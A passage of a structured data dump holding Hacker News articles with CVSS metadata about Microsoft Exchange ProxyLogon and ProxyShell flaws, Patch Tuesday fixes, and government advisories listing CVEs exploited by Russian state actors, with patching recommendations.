"NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-10T08:44:19", "id": "THN:9DB02C3E080318D681A9B33C2EFA8B73", "href": "https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:14", "description": "[](<https://thehackernews.com/images/-4bW5O7qDy3g/YRY939zQM4I/AAAAAAAADho/RUV3iIGj654Ml8xKhGo8MXIEWtGwsL1ywCLcBGAsYHQ/s0/ms-exchnage.jpg>)\n\nThreat actors are actively carrying out opportunistic [scanning](<https://twitter.com/bad_packets/status/1425598895569006594>) and [exploitation](<https://twitter.com/GossiTheDog/status/1425844380376735746>) of Exchange servers using a new exploit chain leveraging a trio of flaws affecting on-premises installations, making them the latest set of bugs after ProxyLogon vulnerabilities were exploited en masse at the start of the year.\n\nThe remote code execution flaws have been collectively dubbed \"ProxyShell.\" At least 30,000 machines are affected by the vulnerabilities, [according](<https://isc.sans.edu/diary/27732>) to a Shodan scan performed by Jan Kopriva of SANS Internet Storm Center.\n\n\"Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\" NCC Group's Richard Warren [tweeted](<https://twitter.com/buffaloverflow/status/1425831100157349890>), noting that one of the intrusions resulted in the deployment of a \"C# aspx webshell in the /aspnet_client/ directory.\"\n\nPatched in early March 2021, [ProxyLogon](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) is the moniker for CVE-2021-26855, a server-side request forgery vulnerability in Exchange Server that permits an attacker to take control of a vulnerable server as an administrator, and which can be chained with another post-authentication arbitrary-file-write vulnerability, CVE-2021-27065, to achieve code execution.\n\nThe vulnerabilities came to light after Microsoft [spilled the beans](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) on a Beijing-sponsored hacking operation that leveraged the weaknesses to strike entities in the U.S. for purposes of exfiltrating information in what the company described as limited and targeted attacks.\n\nSince then, the Windows maker has fixed six more flaws in its mail server component, two of which are called [ProxyOracle](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/>), which enables an adversary to recover the user's password in plaintext format.\n\nThree other issues \u2014 known as ProxyShell \u2014 could be abused to bypass ACL controls, elevate privileges on Exchange PowerShell backend, effectively authenticating the attacker and allowing for remote code execution. Microsoft noted that both CVE-2021-34473 and CVE-2021-34523 were inadvertently omitted from publication until July.\n\n**ProxyLogon:**\n\n * [**CVE-2021-26855**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-26857**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-26858**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-27065**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n\n**ProxyOracle:**\n\n * [**CVE-2021-31195**](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on May 11)\n * [**CVE-2021-31196**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on July 13)\n\n**ProxyShell:**\n\n * [**CVE-2021-31207**](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) \\- Microsoft Exchange Server Security Feature Bypass Vulnerability (Patched on May 11)\n * [**CVE-2021-34473**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on April 13, advisory released on July 13)\n * [**CVE-2021-34523**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability (Patched on April 13, advisory released on July 13)\n\n**Other:**\n\n * [**CVE-2021-33768**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33768>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability (Patched on July 13)\n\nOriginally demonstrated at the [Pwn2Own hacking competition](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>) this April, technical details of the ProxyShell attack chain were disclosed by DEVCORE researcher Orange Tsai at the [Black Hat USA 2021](<https://www.blackhat.com/us-21/briefings/schedule/index.html#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-microsoft-exchange-server-23442>) and [DEF CON](<https://www.youtube.com/watch?v=5mqid-7zp8k>) security conferences last week. To prevent exploitation attempts, organizations are highly recommended to install updates released by Microsoft.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-13T09:46:00", "type": "thn", "title": "Hackers Actively Searching for Unpatched Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31195", "CVE-2021-31196", "CVE-2021-31207", "CVE-2021-33768", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T09:46:09", "id": "THN:FA40708E1565483D14F9A31FC019FCE1", "href": "https://thehackernews.com/2021/08/hackers-actively-searching-for.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:02", "description": "[](<https://thehackernews.com/images/-B1GIJUi-Xfc/YEhXRdorEMI/AAAAAAAAB_o/0vVWsLXOqu0OjfRxUmUTUUvsoLhkTBy6QCLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nMicrosoft plugged as many as [89 security flaws](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Mar>) as part of its monthly Patch Tuesday updates released today, including fixes for an actively exploited zero-day in Internet Explorer that could permit an attacker to run arbitrary code on target machines.\n\nOf these flaws, 14 are listed as Critical, and 75 are listed as Important in severity, out of which two of the bugs are described as publicly known, while five others have been reported as under active attack at the time of release.\n\nAmong those five security issues are a clutch of vulnerabilities known as [ProxyLogon](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) that allows adversaries to break into Microsoft Exchange Servers in target environments and subsequently allow the installation of unauthorized web-based backdoors to facilitate long-term access.\n\nBut in the wake of Exchange servers coming under [indiscriminate assault](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) toward the end of February by multiple threat groups looking to exploit the vulnerabilities and plant backdoors on corporate networks, Microsoft took the unusual step of releasing out-of-band fixes a week earlier than planned.\n\nThe ramping up of [mass exploitation](<https://krebsonsecurity.com/2021/03/warning-the-world-of-a-ticking-time-bomb/>) after Microsoft released its updates on March 2 has led the company to deploy [another series of security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/march-2021-exchange-server-security-updates-for-older-cumulative/ba-p/2192020>) targeting [older and unsupported](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) cumulative updates that are vulnerable to ProxyLogon attacks.\n\nAlso included in the mix is a patch for zero-day in Internet Explorer (CVE-2021-26411) that was discovered as exploited by North Korean hackers to [compromise security researchers](<https://thehackernews.com/2021/01/n-korean-hackers-targeting-security.html>) working on vulnerability research and development earlier this year.\n\nSouth Korean cybersecurity firm ENKI, which publicly [disclosed](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) the flaw early last month, claimed that North Korean nation-state hackers made an unsuccessful attempt at targeting its security researchers with malicious MHTML files that, when opened, downloaded two payloads from a remote server, one of which contained a zero-day against Internet Explorer.\n\nAside from these actively exploited vulnerabilities, the update also corrects a number of remote code execution (RCE) flaws in Windows DNS Server (CVE-2021-26877 and CVE-2021-26897, CVSS scores 9.8), Hyper-V server (CVE-2021-26867, CVSS score 9.9), SharePoint Server (CVE-2021-27076, CVSS score 8.8), and Azure Sphere (CVE-2021-27080, CVSS score 9.3).\n\nCVE-2021-26877 and CVE-2021-26897 are notable for a couple of reasons. First off, the flaws are rated as \"exploitation more likely\" by Microsoft, and are categorized as zero-click vulnerabilities of low attack complexity that require no user interaction.\n\nAccording to [McAfee](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/>), the vulnerabilities stem from an out of bounds read (CVE-2021-26877) and out of bounds write (CVE-2021-26897) on the heap, respectively, during the processing of [Dynamic Update](<https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/configure-dns-dynamic-updates-windows-server-2003>) packets, resulting in potential arbitrary reads and RCE.\n\nFurthermore, this is also the second time in a row that Microsoft has addressed a critical RCE flaw in Windows DNS Server. Last month, the company rolled out a fix for [CVE-2021-24078](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) in the same component which, if unpatched, could permit an unauthorized party to execute arbitrary code and potentially redirect legitimate traffic to malicious servers.\n\nTo install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update, or by selecting Check for Windows updates.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-10T05:37:00", "type": "thn", "title": "Microsoft Issues Security Patches for 89 Flaws \u2014 IE 0-Day Under Active Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24078", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26867", "CVE-2021-26877", "CVE-2021-26897", "CVE-2021-27065", "CVE-2021-27076", "CVE-2021-27080"], "modified": "2021-08-13T09:07:37", "id": "THN:BC8A83422D35DB5610358702FCB4D154", "href": "https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:15", "description": "[](<https://thehackernews.com/images/-W51kRhVBeW0/YJaCznsmgiI/AAAAAAAACfU/z7fgy604zAcZllL9m6sPApy3bUHHX9YEQCLcBGAsYHQ/s0/hacker.jpg>)\n\nCyber operatives affiliated with the Russian Foreign Intelligence Service (SVR) have switched up their tactics in response to previous [public disclosures](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) of their attack methods, according to a [new advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/05/07/joint-ncsc-cisa-fbi-nsa-cybersecurity-advisory-russian-svr>) jointly published by intelligence agencies from the U.K. and U.S. Friday.\n\n\"SVR cyber operators appear to have reacted [...] by changing their TTPs in an attempt to avoid further detection and remediation efforts by network defenders,\" the National Cyber Security Centre (NCSC) [said](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>).\n\nThese include the deployment of an open-source tool called [Sliver](<https://github.com/BishopFox/sliver>) to maintain their access to compromised victims as well as leveraging the ProxyLogon flaws in Microsoft Exchange servers to conduct post-exploitation activities.\n\nThe development follows the [public attribution](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>) of SVR-linked actors to the [SolarWinds](<https://thehackernews.com/2021/04/researchers-find-additional.html>) supply-chain attack last month. The adversary is also tracked under different monikers, such as Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium.\n\nThe attribution was also accompanied by a technical report detailing five vulnerabilities that the SVR's APT29 group was using as initial access points to infiltrate U.S. and foreign entities.\n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) \\- Fortinet FortiGate VPN\n * [**CVE-2019-9670**](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) \\- Synacor Zimbra Collaboration Suite\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) \\- Pulse Secure Pulse Connect Secure VPN\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) \\- Citrix Application Delivery Controller and Gateway\n * [**CVE-2020-4006**](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) \\- VMware Workspace ONE Access\n\n\"The SVR targets organisations that align with Russian foreign intelligence interests, including governmental, think-tank, policy and energy targets, as well as more time bound targeting, for example [COVID-19 vaccine](<https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development>) targeting in 2020,\" the NCSC said.\n\nThis was followed by a separate guidance on April 26 that [shed more light](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) on the techniques used by the group to orchestrate intrusions, counting password spraying, exploiting zero-day flaws against virtual private network appliances (e.g., CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.\n\nNow according to the NCSC, seven more vulnerabilities have been added into the mix, while noting that APT29 is likely to \"rapidly\" weaponize recently released public vulnerabilities that could enable initial access to their targets.\n\n * [**CVE-2019-1653**](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) \\- Cisco Small Business RV320 and RV325 Routers\n * [**CVE-2019-2725**](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) \\- Oracle WebLogic Server\n * [**CVE-2019-7609**](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) \\- Kibana\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) \\- F5 Big-IP\n * [**CVE-2020-14882**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) \\- Oracle WebLogic Server\n * [**CVE-2021-21972**](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>) \\- VMware vSphere\n * [**CVE-2021-26855**](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) \\- Microsoft Exchange Server\n\n\"Network defenders should ensure that security patches are applied promptly following CVE announcements for products they manage,\" the agency said.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-05-08T12:24:00", "type": "thn", "title": "Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-21972", "CVE-2021-26855"], "modified": "2021-05-11T06:23:38", "id": "THN:1ED1BB1B7B192353E154FB0B02F314F4", "href": "https://thehackernews.com/2021/05/top-11-security-flaws-russian-spy.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:44", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEivOb0--JbZm0DKk17OtegvDf0JMgVq1rnkokni7RLCsqEBf17tLvxhVDjVCC8yZeN6jpVJCkJlb3GTbW4f29ZlHKK9dZKnxCnVgFaE0N7nhOJe9r3HRvLR-reRBzNHAdx6aUoQDU5yI90E1LqRdEM3guLQQv95JsKCUSy1ZAoTckx4Q4_Vb6CxtXGe>)\n\nAmid renewed tensions between the U.S. and Russia over [Ukraine](<https://apnews.com/article/joe-biden-europe-russia-ukraine-geneva-090d1bd24f7ced8ab84907a9ed031878>) and [Kazakhstan](<https://thehill.com/policy/international/588860-tensions-between-us-russia-rise-over-military-involvement-in-kazakhstan>), American cybersecurity and intelligence agencies on Tuesday released a joint advisory on how to detect, respond to, and mitigate cyberattacks orchestrated by Russian state-sponsored actors.\n\nTo that end, the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA) have laid bare the tactics, techniques, and procedures (TTPs) adopted by the adversaries, including spear-phishing, brute-force, and [exploiting known vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) to gain initial access to target networks.\n\nThe list of flaws exploited by Russian hacking groups to gain an initial foothold, which the agencies said are \"common but effective,\" are below \u2014\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (FortiGate VPNs)\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) (Cisco router)\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) (Oracle WebLogic Server)\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) (Kibana)\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) (Zimbra software)\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) (Exim Simple Mail Transfer Protocol)\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (Pulse Secure)\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (Citrix)\n * [CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (Microsoft Exchange)\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) (VMWare)\n * [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (F5 Big-IP)\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) (Oracle WebLogic)\n * [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) (Microsoft Exchange, exploited frequently alongside [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\n\"Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/11/cisa-fbi-and-nsa-release-cybersecurity-advisory-russian-cyber>).\n\n\"The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments \u2014 including cloud environments \u2014 by using legitimate credentials.\"\n\nRussian APT groups have been historically observed setting their sights on operational technology (OT) and industrial control systems (ICS) with the goal of deploying destructive malware, chief among them being the intrusion campaigns against Ukraine and the U.S. energy sector as well as attacks exploiting trojanized [SolarWinds Orion updates](<https://thehackernews.com/2021/12/solarwinds-hackers-targeting-government.html>) to breach the networks of U.S. government agencies.\n\nTo increase cyber resilience against this threat, the agencies recommend mandating multi-factor authentication for all users, looking out for signs of abnormal activity implying lateral movement, enforcing network segmentation, and keeping operating systems, applications, and firmware up to date.\n\n\"Consider using a centralized patch management system,\" the advisory reads. \"For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.\"\n\nOther recommended best practices are as follows \u2014\n\n * Implement robust log collection and retention\n * Require accounts to have strong passwords\n * Enable strong spam filters to prevent phishing emails from reaching end-users\n * Implement rigorous configuration management programs\n * Disable all unnecessary ports and protocols\n * Ensure OT hardware is in read-only mode\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-12T09:14:00", "type": "thn", "title": "FBI, NSA and CISA Warns of Russian Hackers Targeting Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-01-12T10:47:49", "id": "THN:3E9680853FA3A677106A8ED8B7AACBE6", "href": "https://thehackernews.com/2022/01/fbi-nsa-and-cisa-warns-of-russian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:17", "description": "[](<https://thehackernews.com/images/-_sUoUckANJU/YQJlBsicySI/AAAAAAAADX0/BEDLvJhwqzYImk1o5ewZhnKeXxnoL0D0wCLcBGAsYHQ/s0/Security-Vulnerabilities.jpg>)\n\nIntelligence agencies in Australia, the U.K., and the U.S. issued a joint advisory on Wednesday detailing the most exploited vulnerabilities in 2020 and 2021, once again demonstrating how threat actors are able to swiftly weaponize publicly disclosed flaws to their advantage.\n\n\"Cyber actors continue to exploit publicly known\u2014and often dated\u2014software vulnerabilities against broad target sets, including public and private sector organizations worldwide,\" the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom's National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI) [noted](<https://us-cert.cisa.gov/ncas/alerts/aa21-209a>).\n\n\"However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system.\"\n\nThe top 30 vulnerabilities span a wide range of software, including remote work, virtual private networks (VPNs), and cloud-based technologies, that cover a broad spectrum of products from Microsoft, VMware, Pulse Secure, Fortinet, Accellion, Citrix, F5 Big IP, Atlassian, and Drupal.\n\nThe most routinely exploited flaws in 2020 are as follows -\n\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (CVSS score: 9.8) - Citrix Application Delivery Controller (ADC) and Gateway directory traversal vulnerability\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (CVSS score: 10.0) - Pulse Connect Secure arbitrary file reading vulnerability\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) - Fortinet FortiOS path traversal vulnerability leading to system file leak\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (CVSS score: 9.8) - F5 BIG-IP remote code execution vulnerability\n * [**CVE-2020-15505**](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) (CVSS score: 9.8) - MobileIron Core & Connector remote code execution vulnerability\n * [**CVE-2020-0688**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (CVSS score: 8.8) - Microsoft Exchange memory corruption vulnerability\n * [**CVE-2019-3396**](<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>) (CVSS score: 9.8) - Atlassian Confluence Server remote code execution vulnerability\n * [**CVE-2017-11882**](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>) (CVSS score: 7.8) - Microsoft Office memory corruption vulnerability\n * [**CVE-2019-11580**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11580>) (CVSS score: 9.8) - Atlassian Crowd and Crowd Data Center remote code execution vulnerability\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) - Drupal remote code execution vulnerability\n * [**CVE-2019-18935**](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>) (CVSS score: 9.8) - Telerik .NET deserialization vulnerability resulting in remote code execution\n * [**CVE-2019-0604**](<https://nvd.nist.gov/vuln/detail/CVE-2019-0604>) (CVSS score: 9.8) - Microsoft SharePoint remote code execution vulnerability\n * [**CVE-2020-0787**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0787>) (CVSS score: 7.8) - Windows Background Intelligent Transfer Service (BITS) elevation of privilege vulnerability\n * [**CVE-2020-1472**](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) (CVSS score: 10.0) - Windows [Netlogon elevation of privilege](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) vulnerability\n\nThe list of vulnerabilities that have come under active attack thus far in 2021 are listed below -\n\n * [Microsoft Exchange Server](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>): [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>), [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>) (aka \"ProxyLogon\")\n * [Pulse Secure](<https://thehackernews.com/2021/05/new-high-severity-vulnerability.html>): [CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>), [CVE-2021-22894](<https://nvd.nist.gov/vuln/detail/CVE-2021-22894>), [CVE-2021-22899](<https://nvd.nist.gov/vuln/detail/CVE-2021-22899>), and [CVE-2021-22900](<https://nvd.nist.gov/vuln/detail/CVE-2021-22900>)\n * [Accellion](<https://thehackernews.com/2021/03/extortion-gang-breaches-cybersecurity.html>): [CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>), 